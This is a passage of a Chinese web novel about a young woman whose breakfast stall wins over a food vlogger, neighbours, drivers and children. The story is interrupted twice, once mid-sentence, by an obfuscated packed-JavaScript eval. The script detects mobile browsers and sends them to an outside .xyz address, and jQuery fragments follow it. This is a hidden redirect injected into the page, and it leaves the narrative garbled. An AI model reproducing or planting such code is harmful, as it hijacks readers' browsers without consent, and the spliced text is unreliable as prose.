她家和赵婶家就是邻居,平日里赵婶厨艺还可以,两家关系极好,有时就上门互相送点好吃的去,到家来,赵婶就是客,后来,赵婶上门时候送来一份肉夹馍,说她出门买早饭的时候买得多了,就送来他们吃。
秦荞并没吃,反而是她的母亲吃了那份肉夹馍,说很好吃,味道十分独一无二,母亲还从没对美食有过这么高的评价,于是这天,准备做地铁到大学校园里的秦荞才决定要尝试下。
没想到还没开门,就排起了队,不过要是真的好吃,多等一阵没有什么。
秦荞在点餐时候,多点了些,不过就不知道会不会踩雷就是,万一只要肉夹馍还吃,其他都很一般呢。
秦荞看这店家长得一副大学生的样子,看着很年轻很漂亮,她开始以为开店还做这么好吃饭的,至少应该做了几十年饭,年纪就不会是像她这样。
“这位姐姐,你是新开的店吗?”
画春木点头。
“那我能问问你做早餐有多少年了吗?”
画春木仔细地想了一下,穿越前,作为上班族的她自己做饭也有两三年。
回答完她的问题,秦荞:“你看起来真的很年轻,感觉跟我一样大,就是完全的大学生。”
秦荞因为觉得太好吃,所以又问:“那是祖传手艺吧,要不然怎么会做得这么好吃呢。”
画春木:“不算。”
“哇!那你绝对就是天赋异秉的那一种。那真好厉害的!”
她直接就把画春木夸上了天,她的饭可以得到别人的赞赏,画春木心里面自然很是开心。
以前在工作时,没人会表扬她,做的饭也都是做给自己吃,是独立地自给自足地人生。
不会有人在生活中认可她什么,但自从她自己开了一家早餐档口以后,客人们的每一次点头的满足和认可,都是对她的最大鼓励。
周末她会继续钻研美食,成了她日常的一种乐趣,画春木一点儿也不会觉得做这件事枯燥乏味。
对她而言,创造出一份美味的食物,让别人获得幸福,那就很好。
秦荞认为这家早餐铺确实宝藏,看似不是十分起眼,里面做出的东西各个好吃,完全不会有她担心的踩雷情况,这很难得。
一般美食店里有一种吸引人的招牌菜就非常不错,但仅仅是这个大约15平米的小小早餐档口,居然会做出来的每一份早餐都好吃。
三人吃完以后,纷纷离开了早餐铺。
到了上班时间,路上开始变得堵车,行人也变得多了。
天已经大亮了。
现在没有客人时,画春木就会在将早餐铺子的里面细心地擦拭一遍,然后把该准备的食材提前就备好。
这天一热起来啊,早餐铺子就会被大太阳灼烧着。
档口处,画春木是开门最早的,其他档口的老板几乎都是中午和晚上营业,今天,画春木她一共在早餐档口迎来了20个客人,拿到手里的得有200元钱了。
隔日早晨,画春木发现一个身穿长牛仔裤的女人走了进来。
她对着手机的镜头说:“大家,我现在呢,就走到了这个春日早餐铺。”
画春木看到她以后,对方先暂停了拍摄,然后说:“你好,这边可以拍摄吗?”
女人就介绍自己说是新手美食探店博主,想要自发地对周边的一些美食进行探店,所以才想征询一下店家的意见,看看能否可以在这里面拍摄,女人等待着她对自己的答复。
7. 第 7 章
画春木直接回应对方:“可以。”
庞一艺听完,感谢了老板一番,然后就又进入到了拍摄阶段。
“店老板,我要一份炸鸡柳,然后一个土豆卷饼,一份肉夹馍,绿豆百合粥和一份经典原味煎饼。
画春木告诉她,这煎饼是分量比较大的,确定都要点吗?
庞一艺:“我吃得比较多。这些刚好是我平时的饭量。”
庞一艺把手机支架摆上,对着手机开始打招呼:“那么现在我的餐呢就已经完全点完了,然后就是需要漫长等待的过程,这家店的环境还是不错的,因为我起得比较早,所以现在人还不算多,然后在这边吃的话呢,也还是挺方便的。”
她搓了搓手,“哇,还真有点真有点期待呢,也不知道东西会不会好吃,这家店老板的菜单,真的挺丰富的,有好几页,大概得有4整页吧。”
等餐全部上齐后,庞一艺就先喝了粥。
“吃东西之前,一定要先把胃里面润一润,然后我看这个炸鸡柳的样子还挺不错的,先尝一口这个。这个外面炸得金黄焦脆啊,我的说话声音都可能有点听不太清。里面的汁水此刻就在我的嘴巴里,满口都是。更加难以形容的是鸡柳本身,会特别地鲜,家人们,真的,我敢打包票,这是我在A市吃过的所有鸡柳里最最美味的!裹得淀粉十分轻薄。”
后来,她每尝一口都有点要忍不住地感慨一番。
庞一艺:“应该是我的错觉。主要其他的全部太好吃,喝绿豆粥,就会感到甘甜的绿豆加冰糖的味道,在舌尖上跳动的感觉,就是越吃就会越爽!!”
庞一艺开始吃肉夹馍。
她继续对着视频解说:“我真没有想到,随随便便进了一家早餐档口,点的餐一个比一个好吃,首先,这个肉夹馍就完全踩在我的审美点上,口味确实香辣,看看这满满当当的馅料,这馅料多得都快溢出来了,而且红色绿色看着就非常的多彩,当然它只是看着多彩还不行,口味到口腔里面也很多彩。”
庞一艺已经好吃得眯起眼睛来,不断地输出:“超绝!真心来说,下次如果有机会我必须还来这里吃!个人来讲,我最爱的就是肉夹馍。就是肥瘦相间的那种肉,肥而不腻,一般我吃这个带点肥的肉的话呢,可能一开始吃一口两口就会感觉有一点点的腻了,这个居然是越吃越好吃,越吃越想吃,就他带给我的后劲反而更猛。第一口直接惊艳,后面就会上瘾,老板,你这个肉夹馍可以再给我来一个吗?”
画春木:“好嘞!我还一直怕你吃不完呢。”
庞一艺:“那不会。这样,老板你可以关注我一下。”
她说了在某平台,一个账号就叫爆吃香香的人,就是她。
上边的一小字介绍就是说:发现美味,迎接美味~一艺带大家美食探险!
最终,说完了结束语的庞一艺结束了视频的拍摄,回去还要不少剪辑工作,之后,她就让画春木帮她打包了两份炸鸡柳,说她打算中午这顿再吃。
庞一艺:“老板,你这鸡柳里面的孜然粉,为什么质地可以做到这么细腻的?是你自己做的粉吗?”
“对。”
“怪不得口感很好,看有你这样认真的老板,估计你这早餐铺子也离爆火不远了!”
画春木:“嗯嗯。借你吉言吧。”
忙忙碌碌地又是一周过去,时间飞逝,戚芙苓的同事冯倩文几乎是两周来一回,每次只在中午来,也会帮着画春木打打下手之类,冯倩文最爱的就是画春木做的红烧肉。
她烧的红烧肉实在是太过美味了!
在戚芙苓家吃饭时,就说:“春木,等下回,你能再给我做顿红烧肉吗?可以吗?”
这时候的冯倩文不仅变成了星星眼,在吃完盘子里面盛的红烧肉时,还忍不住闻了闻盘子里面的味道,戚芙苓感觉到了冯倩文的陌生,平时一个还有些高冷的同事坐在自己旁边的工位上,忽然就变成了现在的样子……
戚芙苓:“倩文,你说归说,口水可别流出来……”
她直接给冯倩文递了一张纸巾,冯倩文也感到自己不该这样,说:“我这不就想象了一副吃红烧肉的画面,就快禁不住了嘛。”
戚芙苓以前可不理解,但她现在深深地也有了体会,如果是画春木做的饭,那么她成了这样,十分正常。
电梯上行至6楼,中午时分,画春木回到戚芙苓这边,这会儿,她看到了在戚芙苓家隔壁的一家外头,站着一位头发斑白的老奶奶。
她两只手都提着东西,两只菜篮子就这么挎着,感觉是站在这儿几分钟,画春木察觉出来不太对劲,就走上前问:“是没人帮您开门吗?”
老奶奶说:“哎呀,我原先呀上午就爱出去转,走走什么的,平常都会拿着钥匙,就今天忽然忘了的,刚给我女儿打了电话,她领着我那小孙儿到超市买衣服,至少还得半个小时再回。”
见状,画春木先把东西放回家中,顺便把这个情况对戚芙苓说了下,看看她是一个什么意见。
戚芙苓:“是闲奶奶啊,我认识那家人,街坊邻居的,过年时候,我们彼此都会送点年货上门的,闲奶奶人很好,这周围也没地方坐,那先让她到我家来吧。”
不过这件事,还得跟她家里头的人说声,别叫他们太担心。于是画春木的想法就是让老奶奶再打个电话问问家人。
等那边同意以后,闲奶奶决定就去戚芙苓的家里先坐坐,等家里的人回来,帮她开了门,就再离开。
闲奶奶于是走进去,戚芙苓让她东西可以先放下,然后坐到沙发上,歇一歇脚。
只要画春木在家,戚芙苓基本戒掉了点外卖,今天中午,画春木就开始做饭。
两人份,她做起来倒很轻松。
戚芙苓看这时间不早,已经十二点半。
于是问闲奶奶:“闲奶奶,你看时候不早了,不然你稍微吃点,行吗?”
“春木,还能多出来一碗吗?”
“刚好今天做得多,应该没有问题。”
“那行,闲奶奶,你就现在这边吃,先吃点,填补一下肚子。”
闲奶奶摆了摆手,说:“芙苓啊,你们吃你们的,实在不用。我到这儿来就够麻烦你们的了。”
戚芙苓:“不麻烦不麻烦,中午就得到点按时吃饭。”
闲奶奶她不想吃,但味道一只萦绕在她的鼻腔之中,她眼神就紧盯着饭,闻着倒是很香,估计就会很好吃吧。
是一盘香酥大虾和一盘番茄炒蛋、红烧肉和米饭。
闲奶奶:“哎呀,是挺香。但我动筷,到时候你们还得洗刷,还是不吃了吧。”
戚芙苓:“没关系的,那事交给我就行,您千万别饿着肚子。”
理智终究还是败给了美食。闲奶奶于是开吃,尝了一口米饭,再把红烧肉的酱汁浇在上面,晶莹剔透的米饭里配上红烧酱汁,红烧肉的肥肉部分又有一点胶质之感,一弹一弹的,但又十分软嫩。
做饭的时候,一整个五花肉就对画春木说:“要让我达到10分的美味,瘦肉和肥肉分别得是6比4的,我需要放进水中,油脂去掉后,加入料酒和姜,炒制我,就加冰糖和老抽生抽,大料、葱、姜、香叶和八角花椒等,适量放进来,让我们牢牢地在一起,才能让所有的料都入味,炖煮时候最关键,必须小火炖,最终大火收汁。”
而香酥大虾,画春木先要把大虾的虾线全部剔除掉。
头部并不去除,她用比较独特的做法,为大虾的表面直接裹上一层非常轻薄的鸡蛋液和面粉,然后裹上了面包糠,炸制了出来。
步骤并不难,她在炸制大虾时,刚好面粉裹在上边一圈,这样看上去,基本上虾头和虾尾就像是连在了一起,连成了一圈,控油捞出锅中,再放其他的料,炒制出锅。
虽是油炸,但吃起来一点都不油,而且后面她还用了细碎的蒜末和罗勒叶,口味搭配得刚刚好。
味道很妙。
番茄炒蛋的话,就是画春木的拿手菜。
闲奶奶吃了过后,香得她一直为画春木竖起大拇指,这会儿,有人敲门。
画春木前去开门,门外的人就是邻居那家。
李闫灵带着她的儿子锤锤过来,看到了夏余闲,走过去:“妈,您说您怎么能忘带钥匙了呢,好在我们距离还不算远,要不然,估计您又得等更久。”
闲奶奶:“是啊,下回我就肯定记着了。”
“妈,您吃过午饭了啊,我还想着,时间不早,就把您接上直接到外头的餐厅吃。”
李闫灵:“真不好意思,芙苓,你看这事儿闹的,这位是?”
戚芙苓介绍画春木说是她的一位很好的朋友,几乎是闺蜜了。
对方笑了笑:“那行,那我们就先走了哈。”
这会儿,闲奶奶吃完了饭,锤锤盯着桌上的饭,直勾勾地瞧着,拽了拽李闫灵的衣角,说:“妈妈,这是什么饭啊?我也想吃。”
“锤锤,妈妈带你去别的地方吃好吃的,不在这里待着,这是芙苓姐姐家。”
锤锤撇着嘴,就不愿意走。
戚芙苓:“既然想吃,可以让他尝尝。”
画春木:“如果你们不介意,我可以再做一顿饭,食材都是现成的。”
李闫灵很是为难,但看锤锤执意,只好作罢。
“行吧,那我去帮帮忙吧。”
后来,李闫灵帮忙的时候,画春木才知道,原来闲奶奶她在这里住三个月,就会走了,到她老伴儿那儿住,主要她不放心她的小外孙,所以才过来住些时日,至于李闫灵,她的老公前两天出差,所以不在家里。
要不今天这事也就不会发生了。
两人都留下来吃,锤锤吃完很是兴奋,说:“外婆,您是不是也吃了?好吃吗?”
夏余闲:“好吃啊。外婆还没吃过这样好吃的饭,锤锤觉得呢?”
锤锤:“这位春姐姐做得饭我一点儿都不想剩,好好吃。”
李闫灵解释说:“锤锤啊,他平常就是比较挑食,居然都把你的饭全部吃完了,这会儿他倒是一点儿都不剩下了。”
李闫灵她也特别爱吃,说:“红烧肉我也做过,还是用了网上的办法,结果还是不好吃,我做的红烧肉,有种肉很柴的感觉,我还想,就是按照教程做的,怎么还会做不好?”
别说这个,李闫灵她在饭店里面吃过的红烧肉也不会有画春木她做饭的一半好。
“怪不得锤锤拉着我,就是不走,现在我可算知道了,还真不一样。”
李闫灵:“就说这个香酥大虾,我这不怎么爱吃海鲜的人,现在都块爱上海鲜了。”
戚芙苓:“你不爱吃海鲜吗?”
“我是比较少吃,就偶尔可能也就吃吃鱼什么的,其他的海鲜,我就觉得那个气味比较腥,但这盘香酥大虾,一点都不会腥,芙苓,你朋友的这几盘菜,要是出去卖,一盘至少都得卖到几十甚至上百,就这手艺,根本不输外面的什么大厨,不过今天,可真是太谢谢你们了。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670085|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
戚芙苓:“我们就别一直这么客气了。”
李闫灵:“你要这么说,哪回我可要在你家再蹭一顿饭了!”
画春木:“多做一顿也没什么。”
听到画春木她在外面有一家早餐档口,李闫灵:“行啊,那到时,周一到周五都能吃得到这么好吃的饭,那敢情可好!我就算不买,也能帮你吆喝吆喝,那也挺好的。”
等他们走后,戚芙苓对画春木说:“这下,我可彻底地不用再操心你的事情了,有你这手艺,那是走遍了四方都不怕呀,其实春木,有的时候我竟然还挺羡慕你,你别看我现在啊吃喝不愁的,我家里父母就要求得严啊,管控得也紧,他们告诉我考什么学校好,我就去哪个院校,他们想要的那个公司上班,按部就班的过着我的生活,如此地平静无波,却实在有些无趣,所以啊,你不同,可以大胆的迈出第一步,自己开家店,用自己的手艺,照样可以做很多的事。”
画春木:“芙苓。其实要不是你帮我,我的店铺还没有那么快能够开得起来。”
“你这话说得也是。不过自从让你呆在我们家呀,那我可是每天都大饱口福,不过今天什么时候来到试吃环节呢?我又有点期待了呢。”
画春木可是知道戚芙苓她平时胃口不怎么好,一般就是属于小鸟胃那一种,吃东西就吃一点,现在她怎么也变了,变得什么都想吃。
这一顿顿的,肉眼可见的脸颊上就长出了不少。
对此,戚芙苓说:“女孩子嘛,我之前呀,总觉得必须要瘦,结果你也说了,身上瘦得都见骨了,那是肯定不行的,经过你的美食诱惑我成功的接受了诸多美食,会长一些肉肉,可是现在这种有点肉,但不特别胖,有很健康的身材,才觉得刚刚好啊。”
画春木:“是啊。芙苓,你之前就是吃太少了,不好的。你一直都不怎么爱吃饭,身体里面就会没有营养。”
第三天,画春木又到菜市场去买菜,她要保证每次的食材都很新鲜,给食材创造一个合适的环境,蔬菜的质量十分重要,好的食材才能做出好的饭,等到天再热一些,画春木就决定要再加一些冷饮在铺子内,大致的菜单在脑海当中已经草拟好。
比如可以弄点西瓜榨汁或者青柠百香果等,原材料好的话,就不会难吃。
她再次走到上回买的黄大姐的摊上,黄大姐见又是她来,说:“每回啊,你都买得偏多,这样吧,这次给你便宜一些,直接按照批发价卖你。”
像这个菜市场,大多做零售居多,但也有些可以小型的批发,画春木她买得多,次数来的也很频繁,摊位上的商户,就会给她价格再便宜一些,至少可以便宜两块钱,又是一轮买菜挑捡,能听到食物心声的画春木,这一步骤就会很快地选好。
画春木付完了款,拉着一大车的食材,然后又开始去店整理了。
次日下午,忙了一上午的画春木捶了捶自己的后背,卸下些疲惫来。
“嗨,姐姐,我又来了,你还记得我吗?”
画春木怎么会不记得呢,她就是上回那个很能吃辣的初中女生,胡茉莉继续,“我感觉姐姐你店里回头客一定不会少。我就算一个。”
这个女生就是之前说很喜欢她的辣酱的,偶尔地聊天,画春木问:“今天放学挺早的。”
“不是,我们今天考试来着,考完了试就直接放学了,所以现在四点半我就能过来。”
“这次考试的题看上去挺简单的,但一做的话我就脑袋有点发懵了。”
“那没有关系,都是这么过来的嘛,心态只要放平和一些,下次发挥好了就可以的。”
胡茉莉:“是吗?姐姐,你真这么想?”
“反正我感觉啊,还得是题海战术,就我们老师跟我们说的,只有这样才能保证我的阅题量,在下回的考试当中,不至于眼花缭乱,或许我做题多了,自然而然就能考得好吧。”
画春木:“当年我上初中的时候也是这样的,开始觉得难熬,后来就还好了,人生不就是迈过了一道坎,再迈另一道坎吗?就要学着去自己直面问题和困难。”
“姐姐,你说得可真好。以后啊,我对待学科也要像对待你做的好吃的食物一样痴迷上它。”
胡茉莉:“今天有鱼丸还有鸡肉串啊!那我两个都要。这都是新品吗?”
画春木:“是。”
胡茉莉:“那新品一般什么时候有,会一直都有吗?”
画春木向她解释:“新品大概就在一个时间段里卖,然后就会换其他新的品了。”
“啊,那我如果到时候还想买那个呢?”
“那没事的,到时我会再给你单独做一份就行。如果卖得好的新品,就会留下了。”
“那好呀!姐姐,你可真好,简直就像我的亲姐姐一样,她的年龄跟你差不多大,说话也是特别地温柔,而且人很好。”
接过了鱼丸和鸡肉串,丸子的里面弹牙,滋味全在内里蕴含着。
她先是吃了一颗鱼丸,串上了的三颗鱼丸,被她一会儿的工夫就给全部吃干净了。
然后胡茉莉又开始接下来第二串鸡肉丸,上面的鸡肉都是经过炭烤过的。
“嗯,超级好吃,我再来三份吧,带回去给我同学也吃,他们肯定也会很爱吃的,不行,不行,再这样下去,我真的需要防沉迷一下,我对我手机都没这么沉迷,居然就已经沉迷上早餐铺子了……鸡肉串里的鸡肉真的超级滑啊,怎么可以做得到这样软弹无比的,呜呜呜……”
8. 第 8 章
下午,网约出租车司机容可易暂时没活儿,可以休憩一小会儿。
早上时间较紧,都是上班族的居多,接单就会多些,出租车就会来回跑的很勤。
他媳妇儿身体不大好,辞职在家养身体,平时就在家里带孩子,容可易需要每天拉活儿才能养这个家。
容可易他五点起床帮着他们做饭,自己则是随意煮个泡面吃。
凑合着垫巴点儿肚子,就赶紧先走出家门出车去。
早上中午吃得都少,一到了这半下午呢,圆滚滚的大肚腩又开始咕噜噜地叫了起来。
饥饿十足的容可易把车停在路边,现在还没有客人的空隙,出来就买个东西吃。
春岩路附近的饭店倒没那么多,不过小的档口却有些。
都在地铁口那边,容可易他转了一圈,最终还是被一家早餐铺子里的味道所吸引住。
他走到档口处,问:“店老板,这什么的味儿忒好闻了!”
画春木的手很忙,一边顾着锅上的东西,边道:“哦,这是锅贴,还有一种红豆酥饼。”
平底锅滋啦啦裹着油气,肆无忌惮地涌入他的鼻子里面,爆香的味道刺激,他不可能不买这个锅贴了。
要说锅贴的做法,并不简单。
多个步骤才能制作出来锅贴,面粉需要中筋面粉、温水和盐,必须面粉搅合成了絮状,光滑的面团才能醒发半个小时以上,这样促使面粉更加劲道无比。
虽然都是包馅的,但饺子包子跟锅贴不同的是,它外表形成的一种金黄脆底。
这样的脆底做出是十分轻盈油润的,外面带着煎的焦黄色,煎制时候就是最最灵魂的一步了。
也可以说,这个步骤至关重要。
一定开火就是热锅凉油,码上锅贴以后,它们之间需要留下至少一个竖指的缝隙才行,中火煎,底部变成了轻微的淡黄色即可。
在脆的感觉中,还要面皮有点弹性,所以这就要求她手法了,此刻,画春木就用小木铲把它们从锅上一一地铲下来,容可易看着,都有点流口水……
容可易:“都给我来点儿,啥味儿的都要。”
“这里一份儿是三个小的锅贴。”
“那我就要四份,芹菜牛肉的、虾仁菠菜的、青椒猪肉、羊肉胡萝卜和红豆的这个…这个什么酥饼吧,红豆酥饼两份儿。”
馅料的选取配伍,就是它们的心声所致。
芹菜会说自己和牛肉,在包馅的时候最搭,两个就是最合拍的搭档,彼此能够把味道融合得更加出彩,会带给人们不一样的味觉享受……
至于羊肉胡萝卜,经典配伍,青椒猪肉更说它们两个简直天作之合,尤其可以发挥出来鲜和清脆的优势来。
通过馅料的紧紧黏合,锅贴就这样做成了。
容可易拿到之后,先咬了一口外皮的那层金黄脆底,咔滋地一声,油香满口,就在餐台这边吃的他,摸着外皮还是热的,因为都是刚出炉,还稍许有些烫,再轻咬了口馅料。
咬开了,才发现里头包裹着的是芹菜牛肉,牛肉不硬,好吃到他差点直接说了卧槽!
这也太太太好吃了吧!!!
四种口味的锅贴都让容可易陷入了灵魂的升腾之中,这是人生的味道,是美妙的味道……
咀嚼了几下,他完全不舍得咽下去。
红豆酥饼更是一绝,原本他不怎么爱吃甜食的,就随便买来尝尝,豆沙绵密得可以直接在舌尖化开,就比棉花糖还要软糯,特别特别浓郁的红豆沙味,他好吃得瞪大了双眼,从今天开始,此时此刻,他已经爱上了红豆沙,容可易不可能想得到,只是填补一下肚子,就能寻到这样美味的食物来。
回到出租车内。
容可易看到网约车司机师傅们群里已经开始聊了起来。
于是放了声音,听。
“今天兄弟们接了几单啊?我在青行路这边,人挺多。早上就接了十单。”
“乔哥接单达人啊,我就不行,早上勉强接了五单。”
“我顾虎四单。诶?容哥还没说。”
“今天早上拉活儿得少,3单吧,哈哈哈!”
容可易因为吃完饭,心情过于地洋溢,所以就一下子没有忍住笑了出来。
群里的众人还纳闷呢,只接三单的容可易,居然非常开心,听上去愉悦得很,就问他是发生了什么好事。
容可易:“咳!也没什么。主要我刚才吃了一份不错的食物,心里面乐呵。再说,上午接单少,不还有时间呢吗?”
顾虎:“容哥,在哪边接单?”
“春岩路附近。”
于是别人跟他出主意说,到其他路上人流量就会多些,容可易则说。
“前些天,春岩路人都不少,我暂时就在这边了,估计明天人就多。主要吧,春岩路这边吃得多,而且有家铺子实在不错。”
这就引起其他人的好奇心,纷纷问他到底哪家铺子,容可易就说是春日早餐铺。
因为档口比较小,许多司机确实没有听过的。
还以为会是那种大店,很多人开始不信,打算到时候拉完了活儿,就来尝上一口。
容可易期间没少推荐,说:“别听什么是早餐铺,里面东西种类很丰富,什么都有卖的,我平时因为跑出租,城区的各个地方去了很多,也到一些地方的周围吃过饭。我敢说那味道真的全A市,都是数一数二的,完全不过分。”
“我一口气吃了十多个,特别小的那种窄窄的锅贴,就像是那个手指头那样粗,我就是一口差不多能塞下两个,还是不同口味的,芹菜牛肉的,最好吃。”
这会儿,他回忆的时候,还不忘了舔了舔嘴巴。
容可易现在开始接单了,就不与他们多说。
好的口碑就是这样慢慢传播,人都是热爱分享的,因此,画春木的早餐铺子,忽然在下午六点左右,人流呈现了一种爆发式的增长。
会有一些网约车的司机陆陆续续地来,还有学生们,学生的占比更多点,回头客一天就得10人了,而且这些回头客往往还会带上同学或者同事朋友一起来。
她的档
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670086|173117||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口目前排队15人。
有人一下子就排到了晚上七点半,眼看前边还有十个人。
一个身穿橘红色波点裙的女人,想要插队,被身前的西装裤女子说了。
“不要插队好吗?”
“我肚子饿了,能先排吗?”
“这不是理由。我就排在这里的,懂不懂秩序啊?”
两人你一言我一语地就开始发生了小的争执,旁边的大妈只好维护起了秩序来:“大伙们,知道你们想要买东西的心,但还是遵守秩序好吧,不要急。”
西装女:“我跟你说,我在家点过吃过的,不下四回。”
“那我第一次来,不能让让我吗?”
“太可笑了。我凭什么让着你?难道你要让前面的人也都让着你,让你排在第一位吗?”
画春木听见了她们的争吵,于是走出去,安抚大家说很快就好,目前档口可以有手机点餐,大家可以在手机上面点好了餐,然后再稍许等待就行。
其实这点,画春木是有想到,但刚刚实在太忙,所以一直没有顾得上。
烤面筋档口这边的一对王家夫妇,下午六点多到这边,他们家晚上才会开门。
一般这时候至少档口能来两人,看到很多的人,就都在春日早餐铺那边,慧荟就问:“哎,你看人家的铺子,人可真多。咱家档口啥时候可以这么热闹过?”
王傅扇对她说:“是啊!这家店里老板应该刚来不久,一家早餐铺,一天都有人。”
“我说是吧?人家是咋吸引人流量的?是因为门头比咱家的亮眼吗?”
“你别什么都说门头,那不是最重要的。我估摸着,人家老板经营肯定有方法。”
慧荟无奈:“经营个铺子,还需要方法?就是来客人了就卖出嘛,不会是有啥营销手段吧?不然你去那边也买一份什么,买她家招牌的东西,回来尝尝。”
王傅扇有点犹豫:“这行不?”
“总得知道我们跟人家比,差距在哪儿吧?”
既然她都这么说了,确实不好不去,于是王傅扇也到那边排队,这会儿,刚好就到他了。
结果,她这口子忽然一去不复返,慧荟根本不清楚情况,顿时心生焦急了。
买个东西都磨磨唧唧的,回来以后肯定要好好说他一顿,慧荟等了又等,这边自家档口的客人来了两位,走了两位,就是不见人了,这才也去。
这一去,好嘛,她也迟迟不回来了。
开店的就是一位年轻小姑娘,根本也没什么营销的手段之类,人家踏踏实实、安安稳稳地在这边开铺子做生意,卖出的每一份食物,都会露出如沐春风地笑。
人不仅好,手艺也强,而且所做出的任何一样的美食,那都味道绝美啊,怪不得会这样受欢迎了,那味道,普通的美食还是没法跟它比。
慧荟这才了解了为什么他一直待在这儿,任谁也不会轻易放下手中的美味吧?
她呲溜呲溜地开始又一轮地开吃,晚上有着微风吹拂着脸颊,再吃上锅贴,其中滋味谁吃谁知道!
9. 第 9 章
开始那对王姓夫妇还挺不以为然,后来就彻底的真香了。
口腔里面的味道尽在不言中,这俩人直接吃饱了,摊位上有客人了以后才回去,自家的烤面筋都没那么有滋味了……
有那样的一份扎实手艺,也该人家卖的好。
他们于是就不再说什么,反而和画春木她成了很好的朋友,他家媳妇慧荟跟老公说,他们有时候也得进修进修手艺,在装潢一下店面,对自己的事情上点心,才能有好的效果,王傅扇也同意。
这天,儿童节到来了,画春木就做了一些小小的竹筒棕,直接送到邻居李闫灵那边,她打开门以后一见到画春木又给带了东西,一阵惊喜。
“春木,你怎么又给我们家送东西啊?”
“你们上回给我和芙苓送了大闸蟹,而且锤锤不是爱吃我做的饭吗?今天儿童节,我正好就,做了一些竹筒棕。你们可以都尝一尝。”
李闫灵:“好。”
画春木:“因为我怕糯米不太好消化,因为它本身偏热性,所以我专门做了的是绿豆竹筒棕。”
“那行,那我们就尝尝也好。”
“要是觉得不好吃的话,我再改良。”
“你做的哪儿会有不好吃的呀,肯定都不错。”
这会儿,画春木就开始摆上了一天限量竹筒棕。
儿童节小学或者幼儿园的学生们通常就会放一天假,家长们就会带他们出去游玩,安排行程。
早晨七点钟,画春木就看见了有一辆黑色的轿车停下来,已经摇了下来的车窗,大约一个七八岁作用的小女孩探出头,指着距离她不愿处的早餐铺,对她的爸爸说:“爸爸爸爸,我想吃那个!”竹筒粽子就摆在档口上面一个十分显眼的位置上。
刚刚他的女儿就已经看到了那家档口,所以才让他把车停下。
因此宋乾蜂带她走过来,还笑着对她说:“你这小家伙,鼻子还真挺灵,我都没闻到,好,爸爸这就给你买。”
宋俏巧眨巴着眼,她有一对长睫,嘟着小嘴巴,粉扑扑的脸蛋很是好看。
她看向了画春木。
“姐姐,我要一个这个。”
画春木:“竹筒棕吗?今天儿童节,可以买一赠一。”
宋乾蜂:“那行。来一份儿吧。剩下的一份不要一下吃完,得中午我们野餐的时候吃。”
绿豆口味的糯米粽子,宋俏巧还要求她多一点的糖。她于是就把竹筒粽子的竹筒先打开来,自粽子的头顶撒上了非常细腻的白砂糖,裹了一层。
小心地递给了宋俏巧,她轻轻咬上了一口,就开心得直接手舞足蹈起来。
画春木告诉她一定要趁热吃,绿豆的清香混着糯米,沙沙地完全化在了舌头底下,虽然很软,但还是可以吃得到里面的颗粒,砂糖的味道不会甜腻,宋俏巧吃完了以后,拿着另一个已经装进袋子里面的竹筒棕。
宋乾蜂强调说:“不行哦,一会儿还要接上你妈妈,再说了我们吃过早饭,得腾出来肚子吃午餐啊。”
在回去前,宋乾蜂自己则买了一份烤肠,烤肠有猪肉烤肠,还有芝士烤肠,芝士烤肠通常份量要足些。
香气实在逼人,宋俏巧她也想吃,于是就让画春木她切了一般。
宋乾蜂吃了一口,芝士烤肠上面会淋有一层番茄酱,当然,酱料是可以自行选择的,比如蜂蜜黄油酱和芥末酱,吃一口非常浓香酥脆,芝士直接拉丝,和番茄酱简直就是绝配!
两人回到车内,宋俏巧:“爸爸,刚刚那个烤肠也好好吃啊!我也好喜欢。”
宋乾蜂:“的确味道不错,巧巧,爸爸知道你的意思,下回还带你来。”
“可妈妈不让。”
宋倩巧的母亲不会让她在这种类似小吃摊上的地方吃东西,宋乾蜂:“妈妈是怕这里会不卫生,刚刚店家老板的全部操作,爸爸可是看着呢,很干净卫生的,下回,爸爸会跟你妈妈说说,她会同意的。放心了巧巧。”
“好呀好呀!!”
宋倩巧别提此刻的开心劲儿了,在车座上又要跳起来!宋乾蜂让她坐好了,系上安全带,说:“坐好了,我们出发了!”
画春木在洗手台那边,洗了洗手,看到又来了一位客人,这位小客人直接坐到了餐台的旁边。
她问小女孩,她的家长在哪里,女孩说她妈妈就在后面。
身后一位穿着高跟鞋、红裙子的女人,这会儿终于看到了蕊蕊,赶忙跑了过去。
这个女孩比刚刚来的那位小女孩年纪应该大些,而且个子也挺高。
女人走来后,急得不行,道:“蕊蕊,你不能乱跑啊,妈妈还在找你呢。”
蕊蕊:“妈,我们就在这边吃早饭吧。再去动物园。”
趁着放假的时间,蕊蕊妈妈就想到带她去动物园一趟,平时的蕊蕊就非常热爱动物,是个很有爱心的孩子。
既然今天放假一天,而且这回蕊蕊的小测考试又还不错,就想着满足了她的心愿。
蕊蕊妈妈带她吃顿早餐就走,反正都要做地铁的,不如附近找家饭店好了,可谁知,蕊蕊直接坐在这里,她对蕊蕊说:“我们走吧。”
“妈妈,我走累了,不想再走了,就随便吃一点吧,而且这家也是卖早餐的。”
女人这才终于抬眼,还真是,她因为太急,居然都没发现…是叫什么春日早餐铺?
“我们在这边吃点吧,我也懒得再跑。”
蕊蕊点了点头。
蕊蕊妈妈黄芹问:“老板,你这个外面摆着的是什么?”
画春木回答说是竹筒粽子,黄芹直接就要了一份,因为过节还能买一赠一,挺好。
